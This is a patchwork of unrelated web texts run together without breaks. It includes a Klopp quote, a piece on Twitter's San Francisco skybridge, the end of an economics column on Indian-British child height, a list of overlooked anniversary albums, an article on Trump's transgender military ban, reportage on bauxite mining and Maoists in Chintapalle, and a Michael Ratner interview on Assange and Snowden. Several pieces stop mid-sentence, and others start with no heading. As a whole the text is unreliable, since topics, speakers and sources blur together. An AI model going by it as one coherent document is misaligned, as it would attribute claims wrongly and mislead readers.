"It's not important what I think. I have the player from August 31 latest, again, or when the back issue is sorted," Klopp added. "There is nothing else I can say about it. I think I said, 'I have bosses', right? I have many bosses, including my wife. I can live with this, it's no problem. They [the owners] are 100 per cent clear on it. There is nothing else to say."Twitter's Mid-Market headquarters have already changed Market Street, bringing new activity and investment into the long-struggling area. Now the company is looking to change the area well above street level by installing a skybridge to connect its two buildings at One 10th Street and 1355 Market Street. Although the skybridge is being criticized from some corners as attempt to keep Twitter employees from having to interact with outsiders at street level, it seems more like a sensible way to built a cohesive office space for a big company within the city. In fact, there used to be a pedestrian skybridge connecting 1355 Market and One 10th, but RMW Architecture & Interiors removed it at the start of developer Shorenstein's renovation of 1355 Market because it didn't meet current seismic standards and its slope exceeded the level mandated by the Americans with Disabilities Act.
Back when the two buildings served as a furniture mart and hosted wholesalers' showrooms, the skybridge linked the two buildings at several levels. The connection allowed pedestrians to easily travel between the two without having to take an elevator downstairs. Twitter's proposed replacement bridge will have the same intent and, according to the company, will save employees about five minutes each time they use it. The new skybridge is set to be at least eight stories high and is currently awaiting approval by the Planning Department. And although the bridge may keep Twitter employees from using the pedestrian courtyard for crossings, the buildings are designed to provide lots of opportunities for public interaction at street level. Much of the urban campus's ground floor is taken up by the Market, a food emporium that will open soon, several restaurants, and the public courtyard between Twitter's two buildings.
· Twitter Proposes Skybridge to Connect San Francisco Offices [Bloomberg]
· Twitter Building a "Skybridge" So Employees Don't Have to Go Downstairs [Valleywag]
· Twitter Building Restaurants Prepare to Open Next Month in SF [SF Business Times]Note: This piece was originally published on October 29, 2017. The Wire is republishing it in light of the administrator’s decision to take down ‘Humans of Hindutva’ Facebook page.
As the admin of a little known Facebook page Humans of Hindutva (HOH), I’m having a most curious year. It seems only yesterday I stumbled home |
ethnicity. Consistent with our earlier findings, we found that despite significantly lower birthweight, children of Indian ethnicity of both genders are about as tall (in some cases taller) than British whites (see Figure 3).
Figure 3: Child height
Source: Author’s calculations from Millennium Cohort Survey
Last but not least, we do not speak to why we observe such rapid catch-up – whether it is better nutrition, pre- or post-natal care, breastfeeding practices or epidemiological environment for the mother and the child. Plausibly, the effect encompasses to some extent all of the above explanations, and we plan to explore these hypotheses in future work.
Editors’ note: This column is funded under the grant “Policy Design and Evaluation Research in Developing Countries" Initial Training Network (PODER), which is funded under the Marie Curie Actions of the EU's Seventh Framework Programme (Contract Number: 608109)
References
Atkin, D (2013). “Trade, tastes and nutrition in India.” American Economic Review 103 (5), 1629–1663.
Atkin, D (2016). “The caloric costs of culture: evidence from Indian migrants.” American Economic Review. 106 (4), 1144–1181.
Bhalotra, S, C Valente and A van Soest (2010). “The puzzle of Muslim advantage in child survival in India.” Journal of Health Economics 29 (2), 191–204.
Case, A and C Paxson (2008). “Stature and Status: Height, Ability, and Labor Market Outcomes.” Journal of Political Economy, 116(3), 499-532.
Coffey, D (2015a). “Early life mortality and height in Indian states.” Economics and Human Biology 17, 177-189.
Coffey, D (2015b). “Prepregnancy body mass and weight gain during pregnancy in India and sub-Saharan Africa.” Proceedings of the National Academy of Sciences 112 (11), 3302-3307.
Coffey, D, R Khera and D Spears (2016). “Intergenerational effects of women's status: Evidence from joint Indian households.” Working Paper.
Dubois, L, K Ohm Kyvik, M Girard, F Tatone-Tokuda, D Pérusse, J Hjelmborg, A Skytthe, F Rasmussen, M J Wright, P Lichtenstein and N G Martin (2012). “Genetic and environmental contributions to weight, height, and BMI from birth to 19 years of age: an international study of over 12,000 twin pairs.” PLoS ONE 7 (2), 1–12.
Dustmann, C, T Frattini and N Theodoropoulos (2011). “Ethnicity and second generation immigrants.” In: Gregg, P., Wadsworth, J. (Eds.), The Labour Market in Winter: the State of Working Britain. Oxford University Press (Chapter 15).
Hatton, T, and B Bray (2010). “Long-run trends in the heights of European men, 19th–20th centuries.” Economics and Human Biology 8, 405–413.
Jayachandran, S and R Pande (2016). “Why are Indian children so short? The Role of Birth Order and Son Preference.” Forthcoming, American Economic Review.
Panagariya, A (2013). “Does India really suffer from worse child malnutrition than sub-Saharan Africa?” Economic and Political Weekly 48 (18), 98–111.
Spears, D (2013). “How much international variation in child height can sanitation explain?” World Bank Policy Research Working Paper 6351.
Strauss, J and D Thomas (2008). “Health over the life course.” In T. P. Schultz and J. Strauss (Eds.), Handbook of Development Economics, Volume IV, Chapter 54. Amsterdam: Elsevier Science.
Tarozzi, A and C Alacevich (2016). “Child Height and Intergenerational Transmission of Health: Evidence from Indian Migrants in England.” Forthcoming, Economics and Human Biology.Who doesn’t love anniversaries? The music industry sure does. So far this year, untold oodles of deluxe reissues have been released to celebrate milestones—that is, 10th, 20th, 25th, 30th, 40th, or 50th anniversaries—in an attempt to stir up nostalgia and critical reevaluation. Some of this year’s crop of deluxe anniversary reissues, like A Tribe Called Quest’s People’s Instinctive Travels And The Paths Of Rhythm (25th anniversary) and The Flaming Lips’ Clouds Taste Metallic (20th anniversary) seem wholly warranted. Others, like Goo Goo Dolls’ A Boy Named Goo (20th anniversary) or Black Mountain’s self-titled debut (10th anniversary), feel ever-so-slightly gratuitous—especially considering there are so many stellar albums that hit anniversary milestones this year but won’t get a deluxe reissue.
1. Martha And The Vandellas, Dance Party (1965)
Case in point: Martha And The Vandella’s Dance Party. Released in 1965, the album contains the classic “Nowhere To Run” as well as the group’s most indelible hit, “Dancing In The Street,” a song that became so central to the civil rights movement that not even David Bowie and Mick Jagger’s clunky version from 1985 could impugn its greatness. The entire album is solid, including the sublimely danceable “Wild One,” and a rare foray for a Motown group into funky Southern R&B, “Mobile Lil The Dancing Witch.” Granted, Motown was known far more for its singles than its albums at the time, and that hasn’t changed. But Dance Party is proof that even Motown’s LP filler outshines most pop made before or since.
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2. The Zombies, The Zombies (1965)
The Zombies are best known for their immaculately crafted, 1968 masterpiece Odessey And Oracle; the surviving members of the group have even been touring this year to perform the legendary album in its entirety. Before Odessey, though, the English band released The Zombies. The group’s 1965 debut didn’t make a huge dent in the public consciousness (this was, after all, the year The Beatles released Rubber Soul and The Who released My Generation), but it did yield the hits “She’s Not There” and “Tell Her No”—and the rest of it holds plenty of glimpses of greatness to come, including a haunting version of George Gershwin’s “Summertime” that foreshadows the shadowy sophistication of Odessey’s biggest single, “Time Of The Season.”
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3. The O’Jays, Survival (1975)
By 1975, the soul group The O’Jays were not only veterans of the music scene, but flush with the recent blockbuster success of the band’s 1973 hit “Love Train.” But as the ’70s dragged on in its post-Watergate slump, the sunny, uplifting message of “Love Train” was replaced by something darker and more outspoken—namely 1975’s Survival. The album’s lead single, “Give The People What They Want,” drew from the same deep wellspring of funk as Herbie Hancock’s Headhunters (who, in fact, released an album in 1975 titled Survival Of The Fittest). The O’Jays sang bluntly about poverty and Social Darwinism on the tracks “Rich Get Richer” and “Survival”—although they took time out for sumptuous love ballads like “Let Me Make Love To You,” which renders Survival a vivid and enduring snapshot of soul circa the mid-’70s.
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4. Neil Young And Crazy Horse, Zuma (1975)
It wasn’t clear in 1975 what kind of future Neil Young And Crazy Horse might have. The group’s guitarist, Danny Whitten, had died in 1972, and the powerhouse trio that backed Young was left with a gaping hole—filled by Frank Sampedro, who made his Crazy Horse debut on the band’s 1975 album Zuma. Young had nothing to worry about. One of his most distorted, epic albums of the ’70s, Zuma features sad-sack rockers like “Don’t Cry No Tears” and “Barstool Blues” alongside sprawling guitar workouts such as “Danger Bird” and “Cortez The Killer.” The album followed the unofficial Ditch Trilogy that featured the more harrowing territory of Time Fades Away, On The Beach, and Tonight’s The Night. Zuma, though, stands as a testament to shaky strength and soulful grit.
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5. LL Cool J, Radio (1985)
It’s been a long time since LL Cool J placed his music above his thespian pursuits—but Radio is a forceful reminder of exactly what made him a star in the first place. Recorded and release while LL was still a teenager, it captures rap at a pivotal point, just as the movement was enjoying a fresh surge of mainstream acceptance that would carry it through its Golden Age. That said, LL doesn’t take too much on his shoulders on Radio; lean, fun, and anthemic, the Rick Rubin-produced album resulted in hits like the ferocious “I Can’t Live Without My Radio” and “Rock The Bells.” LL Cool J may have later cried, “Don’t call it a comeback,” but after setting the stage with Radio, everything he did was destined to be measured against it.
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6. Celtic Frost, To Mega Therion (1985)
November will see the release of Morbid Tales: A Tribute To Celtic Frost, an album that will feature numerous groups paying homage to the iconic Swiss metal band. It’s being issued to celebrate the 30th anniversary of Celtic Frost’s sophomore album, To Mega Therion; unfortunately, To Mega Therion itself is not being celebrated with a deluxe anniversary reissue. It was remastered in 1999, but since then, an entire new generation of heavy metal has risen in To Mega Therion’s shadow, which means the album is more than worthy of an expanded repackaging of its timeless, groundbreaking, vastly influential songs like the savage “The Usursper” and “Circle Of The Tyrants.”
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7. Rosanne Cash, Interiors (1990)
Rosanne Cash’s marriage to fellow singer-songwriter Rodney Crowell was on the rocks when she released Interiors, an album that embraced her father Johnny Cash’s stark atmosphere as much as her own tenure as a Nashville hitmaker. But the haunting starkness and introspective simplicity of standout tracks such as “What We Really Want” and “On The Surface”—the latter a heartrending duet with Crowell, whom Cash would divorce in 1991—elevate Interiors to another level entirely. The ’80s were over, and the slick, processed country of that decade was being gently, strongly pushed aside by one of its royalty. The term “alt-country” had yet to come into use in 1990, but it’s hard to imagine that movement happening without Interiors.
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8. Boogie Down Productions, Edutainment (1990)
Rap hit a peak of social and political consciousness in the early ’90s, and no one summed that up better than KRS-One. The MC of Boogie Down Productions had weathered the murder of BDP cofounder DJ Scott La Rock in 1987; subsequently, he turned increasingly toward themes of enlightenment, activism, and philosophy. Edutainment immediately followed BDP’s 1989 masterpiece Ghetto Music: The Blueprint Of Hip Hop, and while it succumbs in spots to a heavier dose of preachiness, KRS-One lives up to his nickname The Teacher by delivering some of his greatest lessons in rap form—from history-dropping “Blackman In Effect” to the album’s Skatalites-sampling title track.
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9. Alice In Chains, Alice In Chains (1995)
Layne Staley still had seven years left to live in 1995, but none of those seven years would see the release of another Alice In Chains album. The singer’s final full-length with the band, Alice In Chains, featured searing, melodic songs like the blues-and-doom-soaked “Heaven Beside You” as well as the grunge it had helped pioneer (“Grind” and “Again” being not only hits, but some of the last spasms of grunge’s initial explosion in the early ’90s). The album, however, shows a band poised to transcend grunge, at the precise moment the genre was surrendering to self-parody. Alice In Chains is simply a fantastic rock record: deeply felt, beautifully written, and movingly delivered.
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10. Elastica, Elastica (1995)
Britpop seemed like a flash in the pan in the mid-’90s. Bands like Blur, Oasis, and Supergrass made brief waves on this side of the Atlantic, but didn’t wind up causing the next British Invasion that some predicted at the time. Still, Britpop’s cult appeal has remained steadfast, with Supergrass’ 1995 debut I Should Coco receiving a deluxe, 20th-anniversary reissue earlier this year. The same can’t be said of Elastica’s self-titled debut, which produced a decent-sized American hit, “Connection,” as well as inspiring devotion for frontwoman Justine Frischmann and crew’s edgy, catchy take on vintage punk and post-punk (right down to a plagiarism lawsuit from Wire thanks to the naggingly familiar guitar riff from “Connection”). But Elastica as a whole has aged remarkably well and more than warrants the expanded retrospective treatment.
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11. The Mars Volta, Frances The Mute (2005)
Frances The Mute is like the Tardis of prog-rock albums: far larger on the inside than it appears from the outside. The Mars Volta’s second full-length, it’s an endlessly startling and rewarding work of cosmic fantasia, densely layered with Omar Alfredo Rodríguez-López’s lushly textured guitar and Cedric Bixler-Zavala’s hallucinatory narrative. It’s also a bit much, which might be why The Mars Volta’s reputation for incomprehensibility became well earned as the band evolved throughout the ’00s. But Frances The Mute finds the band poised at the perfect spot between ambition and accessibility, relatively speaking. The album’s 32-minute “Cassandra Geminni” is the group’s crowning achievement, but it’s also an entire concept album unto itself—one that all but demands a thorough, 10th-anniversary unpacking.
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12. Missy Elliott, The Cookbook (2005)
Missy Elliott’s stage-stealing appearance with Katy Perry at this year’s Super Bowl only reaffirmed that Misdemeanor might be mostly absent from the spotlight, but there’s no way she can be forgotten. Her final album before her retreat from music (due in part to a diagnosis of Graves’ disease), The Cookbook is not her best work; her longtime producer Timbaland is barely present, although she does a fine job with a mixed bag of styles and approaches. A decade later, there’s plenty to love about tracks like “We Run This,” with its old-school, “Apache”-based bounce, not to mention the disc’s standout hit, “Lose Control,” a master class in electro worship. The Cookbook is ripe for a warm-up, if for no other reason than to help coax Elliott out of semi-retirement.After ignoring military leaders who said it is a stupid idea that will degrade military readiness, the administration of serial draft–dodger Donald Trump seems to be moving forward with a sweeping ban on transgender people serving in the U.S. military.
The Los Angeles Blade reported on Friday that the White House Counsel’s office has converted Trump’s tweets last week announcing the ban into “guidance” policy that will now be sent to Defense Secretary James Mattis.
“After his review, Mattis is expected to order a deliberate implementation by the Pentagon, which could take a period of time,” the Blade wrote.
Called “A Guidance Policy for Open Transgender Service Phase Out,” the policy reportedly not only will prevent new transgender recruits from enlisting, but also will seek to force out of service thousands of transgender military personnel currently serving, through early retirement, refusal to renew contracts, and blocking officer promotions.
This is despite overwhelming backlash to the proposal, including from pro–military Republican senators like John McCain and Orrin Hatch, and current and former members of the military.
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On July 26, the day Trump tweeted the ban, McCain stated on his Senate website:
The Department of Defense has already decided to allow currently-serving transgender individuals to stay in the military, and many are serving honorably today. Any American who meets current medical and readiness standards should be allowed to continue serving. There is no reason to force service members who are able to fight, train, and deploy to leave the military—regardless of their gender identity. We should all be guided by the principle that any American who wants to serve our country and is able to meet the standards should have the opportunity to do so—and should be treated as the patriots they are.
Last Tuesday, 56 retired generals and admirals issued a joint statement warning that Trump’s proposed policy would “deprive the military of mission–critical talent, and compromise the integrity of transgender troops who would be forced to live a lie, as well as non-transgender peers who would be forced to choose between reporting their comrades or disobeying policy.”
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The statement continued:
Recently, two former Chairmen of the Joint Chiefs of Staff have taken courageous stands in support of our transgender service members. General Martin Dempsey said of our transgender troops that, “The service of men and women who volunteer and who meet our standards of service is a blessing, not a burden.” And Admiral Mike Mullen stated that, “I led our armed forces under the flawed ‘don’t ask, don’t tell’ policy and saw firsthand the harm to readiness and morale when we fail to treat all service members according to the same standards. Thousands of transgender Americans are currently serving in uniform and there is no reason to single out these brave men and women and deny them the medical care that they require…The military conducted a thorough research process on this issue and concluded that inclusive policy for transgender troops promotes readiness.”
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Yet none of this seems to matter to President Trump, who refers to military leaders as, “my Generals.” And like other discriminatory and unconstitutional policies forced upon the country by this bigoted administration that caters to a small, right–wing and evangelical base, the fight over Trump’s trans military ban likely is headed to the courts.
Civil rights groups Lambda Legal and OutServe-SLDN announced on Saturday they would sue the Trump administration if the ban becomes official policy.
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“This mean-spirited and discriminatory attack on our community is capricious, irrational and clearly driven by anti–LGBT forces in the administration who care more about harming transgender people than keeping our nation safe. It is clearly unconstitutional,” said transgender military veteran and Lambda Legal attorney Sasha Buchert.
“See you in court, President Trump,” Buchert added.In July 2013, my friend Ramarao and I took a trip to Chintapalle, a hardscrabble town deep inside the tribal areas north of Visakhapatnam in Andhra Pradesh. The monsoon hadn’t yet started and the town was dusty and strange. Fresh garlands hung proudly from statues of Alluri Sitarama Raju, the revolutionary who had led a band of tribal warriors against the British, and loudspeakers relayed church sermons that echoed off the hills around town, so from every direction you heard it said that Jesus would set the adivasis free.We borrowed a motorcycle from one of Ramarao’s colleagues at the Telugu news channel HMTV, and drove along a scarred dirt road to a lonely village called Jerrela, the site of a proposed and intensely controversial bauxite mine. We wanted to interview local tribal farmers about the mine, a vast project that would displace some 270 villages when completed. We expected anger but, naively, not suspicion.Ramarao and I barely reached Jerrela when we were stopped by a group of young men and women at the entrance to the village, who reasoned that no outsider would come this far into the forest unless they worked for the mining company. They locked our motorcycle in a cattle shed so that we wouldn’t escape and flatly declared, “We would sooner die than give up our land.”As an inquisitive crowd gathered, a spry, middle-aged man stepped forward, introducing himself as Iswarao. Dressed in a grey sweater and sporting a mass of curly hair, he could be taken for a college professor if not for the bidi in his fingers and his wary eyes. Iswarao demanded to know who had sent us. I explained that we were journalists who wanted to interview people from the village, but he didn’t buy it. He said that he had seen the likes of us before – referring more to me than to Ramarao, who is adivasi himself – when some city dwellers had come to Jerrela posing as NGO workers, and tried to make everyone sign English-language “petitions” that turned out to be statements consenting to land acquisition.”You’ll need to stay here for a month or two until we figure out who you really are,” Iswarao said. He flicked the tip of his bidi. “Maybe then you’ll understand how much we get from our forest mother you want to destroy.”
A settlement in Jerrela, with Raktakonda – the mountain that contains the bauxite – in the background.
The tawny hills around Chintapalle contain a fortune’s worth of bauxite, the main source of aluminum – 470 million high-quality tonnes in all, most of it buried beneath Jerrela. In 2005, the Andhra Pradesh government, then led by YS Rajasekhar Reddy of the Congress Party, signed over mining rights to a joint venture called AnRak. But it had to employ dubious legal gymnastics to bypass laws restricting the transfer of tribal land to outsiders.
The 1997 Samata Judgement of the Supreme Court prohibits private companies from mining tribal land, but the lease controversially circumvented it by fronting the Andhra Pradesh Mineral Development Corporation, a nearly defunct public enterprise, as the mine’s legal owner. The APMDC would receive free mining equipment and logistical support from AnRak, and then sell the bauxite at cut-rate to the company.
The area has been in revolt ever since. There were tales of mining company helicopters being shot by arrows, of blockades and even assassinations. Huge crowds thwarted official visits to the mining site, while snarky graffiti covered colourful hoardings bearing the AnRak logo in Chintapalle. Locals pointed ominously to broad new roads that they claimed were only built to allow trucks, hundreds of which would venture up and down the mountain each day. The looming mine inspires a constant, slow-burning anger that is epicentred in Jerrela, which stands to lose the most.In September 2014, the Comptroller and Auditor General found that although the bauxite mines were initially valued at Rs 11,500 crore, the contracts for AnRak and Jindal Steel (company which won rights to a smaller bauxite deposit in Araku Valley) list their worth as just Rs 258 crore combined – a sharp undervaluation that would decimate not only the companies’ licence fees, but also the 20% share of profits they must invest on rehabilitating the 270 tribal villages the mine would displace. (Some groups, like the Communist Party of India (Marxist), argue the real value of the bauxite is as high as one trillion rupees.)Even though intense public opposition has kept excavators from unearthing even a teaspoon of bauxite in Andhra Pradesh so far, most people in Jerrela fear that it’s just a matter of time before the mining starts.
To further complicate matters, the Maoists have capitalised on this public anger, staging an unexpected abduction a month ago. On October 5, uniformed cadres captured three low-ranking members of the Telugu Desam Party in the village of Kottagudem, just an hour away from Chintapalle, and demanded that the AP government relinquish the mine.
A woman prepares turmeric roots, a crop that traditionally grows in Jerrela.
That evening in 2013, Ramarao and I were escorted to a little settlement on a hill, where, as the night fell heavy and moonless, an old man named Bodaipada rose to speak. “This mountain is eternal, but you want to destroy it.” His words came out wet and muffled, but they contained a clear message. “You promise to pay us crores but can you bring the forest back? This land grows so many different things. Will we ever get our livelihoods back?”I was scared because everyone thought we were spies and no one understood my Americanised Telugu, and in my fear I wondered if I would be kept here forever. But the strange events of that day had compressed weeks of reporting into a single night. Ramarao, an active participant of Visakhapatnam’s anti-bauxite movement, energetically conversed with the villagers, who were forthcoming in their unanimous distrust of the government.“They came and said we’ll give a job to every household, pay double the market rate for your land, but we all said no, because this mine was illegally approved,” said Ravi, a college student. “In the hands of a strong man, what are the weak to do?”“The police can’t scare us,” echoed a group of young women who declined to state their names. “We’ll fight them with arrows and sticks if we have to. We’re going to lose, but not without a fight. We’re all ready to die.”I was impressed by how neatly these statements channelled Chintapalle’s long history of tribal revolt. There was the first Rampa Rebellion in 1879 against a British tax on toddy, and more recently the People’s War Group in the 1980s and ’90s, followed by their successors, the Communist Party of India (Maoist). Perhaps the most storied episode – the one that transcended village folklore into the threshold of mainstream film and history books – was the two years Alluri Sitarama Raju spent leading raids on police stations after the Madras Presidency tried to restrict shifting cultivation. Raju was shot in 1922, but he remains a potent symbol of resistance here, because the Indian state – whether run by the British or by our own – was never able to fully annex Chintapalle.“Just as Alluri Sitarama Raju created problems for the British, we’ll unite and create even bigger problems for the company,” declared Bodaipada, the old man. “Watch us.”As a token of what they would lose to the mine – and also, I suspected, as a test of faith – the villagers served a rare tribal delicacy for dinner: curry with the larvae of vespid wasps, harvested just up the mountain. “Tribal prawns,” Ramarao called them. The fat worms were runny and pungent, and tasted like a good blue cheese.The next morning, Iswarao and the others sent us off, politely apologising for the misunderstanding and asking that we remember their plight.
A harvest of tamarind, the Telugu word for which the town "Chintapalle" is named. Local adivasis say they fear losing the bounty of crops like tamarind and turmeric if the mine goes through.
On October 5, three local politicians of the Telugu Desam Party travelled up the mountain to the village of Kottagudem. They had voluntarily gone to meet the Maoists, when they were kidnapped and accused of collusion in bauxite operations. A spokesperson for the group soon announced that if the government didn’t immediately abandon all mining plans, their hostages would be harmed.It was the first documented time the CPI (Maoist) had ever reneged on its promise to keep someone safe. It was also a jarring reminder of how the rebel group has capitalised on public anger to make a comeback in northern Andhra Pradesh, after police emphatically drove it out in 2005.Visakhapatnam’s remote, rugged hills were a hotbed of insurgency for decades, until a police action in 2005 dramatically contained the Maoist presence in Andhra Pradesh. Since then, there have only been small flare-ups along the border with Odisha. “Their activities have gone on in that area since 1980,” said Koya Praveen, the superintendent of police for rural Visakhapatnam. “This is not a new thing happening today.” Still, people from the area say the abduction was eerily reminiscent of the old days, when Maoist commanders would dictate terms to tribal leaders, putting them in the sights of paranoid police forces.Over the past few months, Maoist leaders have held large rallies and reportedly instructed tribal leaders to join the anti-bauxite movement – and to oppose the government “in all aspects” – or face consequences. I heard a bizarre story about a district-level politician who was caught taking soil samples from Jerrela, but escaped as he relieved himself in the woods. Three comrades shot him in his home a week later. The tales go on.
Paddy fields at the foot of Raktakonda.
The chief minister
The October 5 kidnapping was clearly gunning for a response from Chandrababu Naidu, the head of the Telugu Desam Party and current chief minister of Andhra Pradesh. As opposition leader under the previous Congress government, Naidu had vigorously opposed bauxite mining, saying that the leases to AnRak and Jindal “smacked of corruption” and would devastate tribal livelihoods.But he took a surreal U-turn soon after becoming chief minister last year, when he donned a buffalo horn headdress at a celebration for World Tribal Day in August 2014, and declared that bauxite mining in Visakhapatnam was inevitable.Naidu inherited a newly-bifurcated state with a massive fiscal deficit – at nearly Rs 18,000 crore last year, one of the highest in the country – and one-fifth of India’s total bauxite reserves. The mining industry cheered his victory, along with Narendra Modi’s at the Centre, as the kind of authoritative, “pro-growth” leadership it needed. September 2014 report in the Business Standard quoted a series of executives saying that if anybody could break the “logjam” over bauxite, it was Naidu. And AnRak has finished building a 1.5 million tonne bauxite refinery in Visakhapatnam, after optimistically announcing that the company would soon be cleared to start mining. (They are still waiting for that approval.)Even though the TDP government has promised that the Integrated Tribal Development Authority would oversee any mining operations, and that no private sector players would be involved, tribal groups on the ground are alarmed. On September 20, hundreds of adivasis from Chintapalle and the nearby village of GK Veedhi marched in protest after (unsubstantiated) rumours spread that work on the mine’s foundation would soon begin. They carried sickles, axes, bows and arrows, declaring war on anyone who would mine bauxite. A similar event took place just a month earlier, when nearly 800 people waved red banners and demanded better land rights and access to drinking water over bauxite. Anti-mining activists and CPI(M) leaders lashed out at Naidu for flip-flopping on his stance.Two-facedness over resource extraction is an almost cherished political tradition in Andhra Pradesh (and to be fair, across the world). In Chintapalle I encountered a haughty activist with the YSR Congress, a hagiographical party started by YS Rajasekhar Reddy’s son after the late chief minister died in a helicopter crash in 2009.
Photographs of YS Rajasekhar Reddy, the late chief minister who pushed through the bauxite lease, are, ironically, pinned to trees across Chintapalle.
The activist rattled off all the ways the bauxite mine would devastate the fragile ecology of the hills, cover the fields in toxic dust, and plunge adivasis into destitution. “The mine will be the end of the Agency as we know it,” he declared, using the term commonly used for tribal dominated areas in Andhra Pradesh. He was spreading this message (and photographs of Reddy) from church to church – neglecting to mention that YS Reddy had signed the bauxite lease in the first place, that Reddy’s close associate Pratap Reddy owns a significant stake in AnRak, and that his son Jaganmohan Reddy, leader of the YSR Congress, stood to make a lot of money off of AnRak. But then, as now, the YSR Congress was in the opposition, and such posturing was dishonest but politically expedient.This duplicity – and its implied contempt for poor people – is exactly what infuriates the villagers in Jerrela. Manuguru Laxmana Rao, a former sarpanch of the village, recounted a visit to the National Aluminum Company Limited bauxite mine in Damanjodi, Odisha. APMDC had organised the trip for local leaders from Jerrela, hoping to convince them that the mine would bring jobs, education and prosperity to their communities. That effort backfired.“Do they think girijans are fools?” he said. “They showed us the schools and clean homes of the managers and foreign workers, saying that we could have all this if we let them build the mine.”But then, by sheer accident, the group stumbled across a sweeper, who belonged to a community displaced by the project. She took them to the slum where she now lived, and they were horrified by the sight: adivasis living beneath tarpaulin sheets, sick and malnourished and betrayed by false promises of a better life (Felix Padel and Samarendra Das have written about similar accounts from Damanjodi in their book Out of This Earth.)"Children were going hungry, some were born with birth defects," Rao continued. "They won their trust with magical words about development. The lady warned us, 'Let them kill you if you have to but never give up your land.'"
This elderly man declined to give his name, but said, “Our village is our right. Did we ever buy or sell bauxite? So why should it matter? I’ve never seen it.”
Proponents of bauxite mining often invoke development and national interest, but those concepts have become slurs in Chintapalle. I met Ashok at a weekly market in Jerrela, where women sold locally-farmed cabbages alongside laptop-toting vendors peddling MP3s. A recent college graduate, Ashok couldn’t understand why, for all the concern over development, his village never received a drinking water connection despite years of petitioning.“We’ve always asked for the same thing: development that makes our lives easier,” he said. “Real development means every village should have a road, electricity, drinking water, NREGS and jobs for the educated. The area should stay beautiful and every poor family should come up to a strong standard.” He spoke so fast that he had to stop to catch his breath. “But when you people say development you don’t mean that. You only mean getting rich off bauxite.”Even the Maoists have accepted bribes from miners in Chhattisgarh, Jharkhand and Odisha in order to look the other way – a form of extortion that does little to serve the tribal communities that the mines have displaced. A subcontractor for the National Aluminium Company Limited mine in Damanjodi once told me that out of all the people he pays off to run his bauxite operations – ranging from the police to bureaucrats to MLAs – local Maoist commanders demanded some of the highest payments.
The militant group finally released the three TDP leaders unharmed on October 15, after they pledged to quit politics and join the anti-bauxite movement. The state government never had to engage with the militants’ demand to abandon bauxite mining – at most, Chandrababu Naidu, speaking to the hostages’ families on Monday, said his administration was undecided on the matter.
Posters sponsored by Anrak Aluminum Limited dot the town. This one says, "Women's safety is our duty. We need to keep them smiling."
The warped logic of conflict over bauxite has poisoned the air in Chintapalle. Even if Chandrababu Naidu sincerely wants to redraw the mining leases, fully respecting laws about consent and fair compensation – which in theory could be a good, mutually beneficial thing – he will find local support all but impossible to redeem. He will be tempted to use force against a vulnerable population, and repeat the same tedious cycle of violence that mars industrial projects across the country. As a resurgent Maoist presence is met with state brutality, the paranoia over informants on each side amounts to endless suffering for the people who call the area home.At the moment, it is impossible to conceive of a scenario in which bauxite is mined without violence in Chintapalle – though a good start would be to simply follow the law, which requires a project in a scheduled area to be scrapped if the local tribal communities don’t agree.“We are doing our best to win over the people,” said Koya, the police officer. “Initially the total public was hostile to us but in some places people have become more supportive of the government.”For that, Ashok has a simple idea: “Give us development that actually helps us."First off, what’s your name and where can we see you stream?
What’s the significance of baX? How did you get the name?
One of my first jobs was working nights at a telemarketing firm in Boise, Idaho. Each employee had a a 4-letter company ID, and you used this to login and track your sales, calls, and disposition tallies. My assigned letters were “HBAX”.
Each night, for one hour, they would have ‘Flick Sale’ competitions. During the hour, every subscription sale you got you would hold up these small notepads and flick them, which made a distinct noise to alert the supervisor without being so obtrusive that it interrupted other calls. They would then write your ID up on the whiteboard and give you a tally. The top two sales totals at the end of the hour received raffle tickets. Raffles happened at the end of every month for movie tickets, coupons, a frozen turkey, |
Snowden is this kind or that kind of a person. I also think Europe's reaction to how the spying affected them has been very important as well. In the US it has made some difference, but in Europe it seems to be stronger. Obviously on some level the governments in Europe are being duplicitous. They knew about some of it, but now that they have it revealed publicly the governments are trying to back off from it.
WikiLeaks and Julian Assange have been aiding Edward Snowden in his quest to escape US authorities. You represent Assange. Are you also representing Edward Snowden now?
No, we don't represent Edward Snowden. Julian has taken obviously a very principled position on Edward Snowden. As you said he has been giving him advice as well as having somebody from WikiLeaks accompany him, Sarah Harrison.
What would you advise Snowden to do if you were his attorney?
I might have started by going to a different country than China and Hongkong to begin with. I might have gone to Venezuela. And now the last place I would come is the United States. If you see how Bradley Manning has been treated: He is probably going to go to jail for a very long time. And you saw his jail conditions and the unfairness of his trial and you see that Julian Assange is really essentially being kept in an embassy, mostly, in fact entirely in my view, out of fears of coming to the United States, getting no bail, and being held incommunicado and getting an unfair trial. So the best advice I could ever give Edward Snowden right now is stay out of the United States.
What message does the verdict against Bradley Manning send to your client Julian Assange?
WikiLeaks and Julian Assange were referenced throughout the trial. Everyday you went there there was some way they wanted to denigrate WikiLeaks and Assange or say that they were essentially co-conspirators of Bradley Manning. And that's an effort to try and differentiate for the public consumption in the United States WikiLeaks and Julian Assange from the New York Times. Because they know they have a problem. While they may want to get publishers on espionage, right now at least it seems to be unacceptable to do so in the United States.
Michael Ratner
So the only way they can think about getting WikiLeaks and Julian Assange is to somehow say they are not journalists, they are not publishers, they are not like the New York Times. That was a frightening part of the trial, because they are clearly trying to go after Assange and WikiLeaks.
So the message of the trial is that now - assuming they are arguing that somehow Julian Assange and WikiLeaks are co-conspirators with Bradley Manning - they have convicted one part of the conspiracy. Had they not, it of course would have been a much more difficult case against WikiLeaks.
Just to clarify: Since journalists have never been prosecuted for espionage in the US before, you think that the sealed indictment that is widely assumed to exist against Assange will essentially claim that WikiLeaks and Assange are not journalists to justify prosecuting him for espionage. Correct?
Yes. They are going to try and say that Julian Assange is an activist and that they don't fit the definition of what at least the powers that be consider as journalists. Even some of the major media have tried to distance themselves from Julian Assange. They will make an effort to try and make it acceptable to the people in the United States that they can go after a publisher.
Julian Assange has been holed up in the Ecuadorian embassy in London for over a year now. How optimistic are you that this won't be his fate for the foreseeable future?
Optimistic - I don't know. He thinks he won't be there another year. That is what he says publicly. The key for Julian Assange is to figure out a way to get a guarantee from Sweden and/or the UK that he will not be taken immediately to the United States when he leaves that embassy. If we get guarantees from one or both of those countries, that will make a huge difference. His problem is not Sweden, in the sense that the allegations having to do with sexual misconduct are something he is willing to answer, glad to answer, has offered the Swedish to come to the embassy in London to answer those. But the problem for him is if he goes to Sweden, almost surely they have a one-way ticket to the United States from there.
So he is just going to have to wait it out. Do I anticipate it going on a very long time? I hope not. He has already done a year. He has been very productive in that year as we know, so he is continuing to work and operate from that embassy. But let's just wait and see what happens.
